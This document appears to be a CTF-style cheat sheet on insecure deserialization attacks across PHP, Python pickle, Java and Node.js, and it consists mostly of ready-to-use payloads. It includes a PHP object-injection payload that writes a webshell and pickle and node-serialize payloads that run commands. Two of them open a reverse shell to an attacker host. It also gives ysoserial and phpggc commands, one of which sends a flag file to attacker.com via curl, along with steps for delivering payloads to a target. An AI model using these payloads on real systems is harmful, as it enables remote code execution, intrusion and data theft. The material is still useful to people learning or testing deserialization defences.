deserialization::attacks

web PHP · Java Python · Node
IdentifyPHPPython pickle JavaNode.jsTools
01Identify Deserialization
Recognition patterns
LanguageSerialized format looks likeTransport
PHPO:4:"User":2:{s:4:"name";s:5:"admin";...}Cookie, POST, session
PHPBase64 of the above, or URL-encodedCookie value
Python pickleStarts with \x80\x04\x95 or c__builtin__ (opcode)POST body, cookie
JavaStarts with AC ED 00 05 or Base64 rO0ABHTTP body, RMI, JMX
Node (node-serialize){"func":"_$$ND_FUNC$$_function(){...}()"}JSON body, cookie
Ruby MarshalStarts with 04 08Cookie, session
.NET BinaryFormatterStarts with 00 01 00 00 00ViewState, remoting
02PHP Object Injection
PHP serialization format
# PHP serialize() format:
# s:N:"string"   — string of length N
# i:N;           — integer
# b:0; b:1;      — boolean false/true
# N;             — null
# a:N:{...}      — array with N elements
# O:N:"Class":P:{props}  — object, class N chars, P properties

# Example: User object with name="admin", role="user"
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}

# Change role to "admin":
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# URL encode then set as cookie
# or base64 encode first
python3 -c "import base64; print(base64.b64encode(b'O:4:...'))"
PHP magic methods → RCE
# Magic methods called automatically on unserialize():
# __wakeup()  — called on unserialize
# __destruct()— called when object is destroyed
# __toString()— called when used as string
# __call()    — called for undefined methods

# Example vulnerable class in source:
class Logger {
    public $logFile = '/var/log/app.log';
    public $payload = '';
    function __destruct() {
        file_put_contents($this->logFile, $this->payload);
    }
}

# Exploit: write PHP webshell
O:6:"Logger":2:{
  s:7:"logFile";s:17:"/var/www/shell.php";
  s:7:"payload";s:30:"<?php system($_GET['cmd']); ?>";
}

# PHP property length must match exactly!
# Count chars carefully: s:17:"/var/www/shell.php" ← 17 chars
POP chains
# POP (Property Oriented Programming) chain:
# Chain magic methods across multiple classes
# to reach system() or eval()

# Tools to find and generate chains:

# phpggc — PHP gadget chain generator
git clone https://github.com/ambionics/phpggc
./phpggc -l                   # list available chains
./phpggc Laravel/RCE1 system "id"
./phpggc Symfony/RCE1 exec "cat /flag"
./phpggc -b Guzzle/FW1 write /var/www/shell.php ""

# Output is ready serialized payload
# Pipe or send as cookie value
./phpggc --base64 Laravel/RCE1 system "cat /flag"
03Python Pickle RCE
pickle RCE payload
# pickle.loads() executes __reduce__ method
# __reduce__ returns (callable, args) → callable(*args)

import pickle, os

class RCE:
    def __reduce__(self):
        cmd = 'id > /tmp/out'
        return (os.system, (cmd,))

payload = pickle.dumps(RCE())
print(payload.hex())
print(payload)   # send this to the vulnerable endpoint

# Reverse shell variant
class Shell:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker/4444 0>&1',))

# Read flag variant (cat flag to stdout)
class Flag:
    def __reduce__(self):
        return (eval, ('open("/flag").read()',))
Pickle without class
# Raw pickle opcode — shorter payload
import pickle

# Using pickle opcodes directly
payload = b"""cos
system
(S'cat /flag'
tR."""
# cos = import os; system = attribute; (...) = call

# Using pickletools to inspect
import pickletools
pickletools.dis(payload)   # disassemble opcodes

# Safer multi-command payload
import pickle, base64

class Exploit(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['cat', '/flag'],))

data = pickle.dumps(Exploit())
# Encode for HTTP transport
encoded = base64.b64encode(data).decode()
print(encoded)
04Java Deserialization
Identify & detect
# Java serialized stream signature
# Hex:    AC ED 00 05
# Base64: rO0AB... (first bytes)
# File:   file payload.bin → "Java serialization data"

# Check if endpoint accepts serialized data:
# Content-Type: application/x-java-serialized-object
# POST body starts with rO0AB (base64)
# Cookies with base64-looking values

# Vulnerable libraries (gadget chains in):
# commons-collections 3.1 / 4.0
# spring-core
# groovy
# mybatis
# jdk7u21
# Clojure
ysoserial — gadget chains
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# List available gadget chains
java -jar ysoserial-all.jar

# Generate payload for common chains
java -jar ysoserial-all.jar CommonsCollections1 \
    "cmd /c calc" > payload.bin

java -jar ysoserial-all.jar CommonsCollections6 \
    "curl attacker.com/?f=$(cat /flag|base64)" > payload.bin

# Send payload
curl -X POST -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @payload.bin https://target/endpoint

# Base64 encode for cookie/param
base64 -w0 payload.bin > payload.b64
# Then: Cookie: data=$(cat payload.b64)
05Node.js / Other
node-serialize RCE
# node-serialize: IIFE in function property = RCE
# Vulnerable pattern: serialize.unserialize(userInput)

# Payload: function body wrapped in IIFE ()()
{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id',function(e,s,t){console.log(s)});return 1;}()"
}

# Reverse shell
{
  "x": "_$$ND_FUNC$$_function(){require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1');}()"
}

# URL/base64 encode and send as cookie or POST body
Tools summary
ToolUse
phpggcPHP gadget chain generator (Laravel, Symfony, Guzzle…)
ysoserialJava gadget chain generator
marshalsecJava deserialization (JNDI, RMI)
picklePython — craft with __reduce__
pickletoolsPython — disassemble/inspect pickle
Burp CollaboratorOOB detection (DNS/HTTP callback)
SerializationDumperJava — dump serialized stream as text
jdeserializeJava — parse and inspect serialized objects
DESER CHECKLIST →  ① Find serialized data: cookie/POST starting with O:, rO0AB, \x80\x04  ② PHP: modify property values (role=admin), trigger magic methods (__destruct)  ③ PHP gadget chains: phpggc -l → try all for target framework  ④ Python: craft __reduce__ returning (os.system, ("cmd",))  ⑤ Java: ysoserial CommonsCollections6 "curl attacker/?f=$(cat /flag|base64)"  ⑥ Always test OOB first (DNS/curl ping) before blind RCE